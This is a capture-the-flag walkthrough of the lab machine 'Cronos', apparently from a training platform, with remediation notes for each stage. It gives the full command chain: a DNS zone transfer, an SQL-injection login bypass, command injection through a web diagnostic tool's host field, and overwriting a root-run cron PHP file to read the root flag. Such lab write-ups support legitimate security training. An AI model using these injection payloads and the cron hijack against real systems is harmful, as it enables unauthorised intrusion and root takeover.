Cronos
Summary
I queried the DNS server for a full zone transfer, discovering a hidden admin vhost unreachable by IP. A SQL-injection payload bypassed its login entirely.
The authenticated admin panel contained an OS command injection flaw in a network-diagnostic tool, giving remote code execution as the web server account. Inspecting the system scheduler revealed that root periodically executed a PHP file owned and writable by that same web account; overwriting the file with a malicious payload caused the next scheduled run to execute my own code as root, completing a full host takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 3
Identify open ports and service versions.
$ nmap -sC -sV -p22,53,80 $TARGETRequest full zone transfer; look for A/CNAME records for admin.cronos.htb.
$ dig axfr cronos.htb @$TARGETAdd discovered vhosts to local hosts file so the browser/curl resolves them correctly.
$ echo "$TARGET cronos.htb admin.cronos.htb" >> /etc/hostsFixRestrict DNS zone transfers to authorised secondaries onlyMedium
Exact commands 2
POST SQLi payload; server sets PHPSESSID in cj.txt on success (expect HTTP 302 → welcome.php).
$ curl -sS -c cj.txt -H 'Host: admin.cronos.htb' -d "username=admin' or 1=1-- -&password=x" http://$TARGET/Confirm authenticated access to Net Tool page using the captured session cookie.
$ curl -sS -b cj.txt -H 'Host: admin.cronos.htb' http://$TARGET/welcome.phpFixFix SQL injection in the admin login formCritical
Exact commands 2
Confirm RCE: response should contain uid=33(www-data).
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;id' http://$TARGET/welcome.phpConfirm execution on cronos (not a reflection artifact).
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;hostname' http://$TARGET/welcome.phpFixEliminate OS command injection in the Net ToolCritical
Exact commands 1
Returns <user.txt>.
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /home/noulis/user.txt' http://$TARGET/welcome.phpExact commands 2
Read scheduler configuration to find any root-owned periodic jobs.
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /etc/crontab' http://$TARGET/welcome.phpConfirm artisan is owned by www-data and writable by the current process.
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;ls -la /var/www/laravel/artisan' http://$TARGET/welcome.phpExact commands 3
Minimal PHP that exfiltrates the root flag to a readable path when executed by root.
$ PHP_PAYLOAD='<?php copy("/root/root.txt","/tmp/rootflag"); chmod("/tmp/rootflag",0644); ?>'Overwrite artisan with the payload. Verify write succeeded with a follow-up ls -la command.
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode "host=127.0.0.1;echo '<?php copy("/root/root.txt","/tmp/rootflag"); chmod("/tmp/rootflag",0644); ?>' > /var/www/laravel/artisan" http://$TARGET/welcome.phpPoll every 30–60 s; once the file appears the cron has fired as root.
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;ls /tmp/rootflag 2>&1' http://$TARGET/welcome.phpFixRemove world-write permission from files executed by root's cronCritical
Exact commands 1
Returns <root.txt> once the cron job has executed the malicious artisan file.
$ curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /tmp/rootflag' http://$TARGET/welcome.phpAttack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.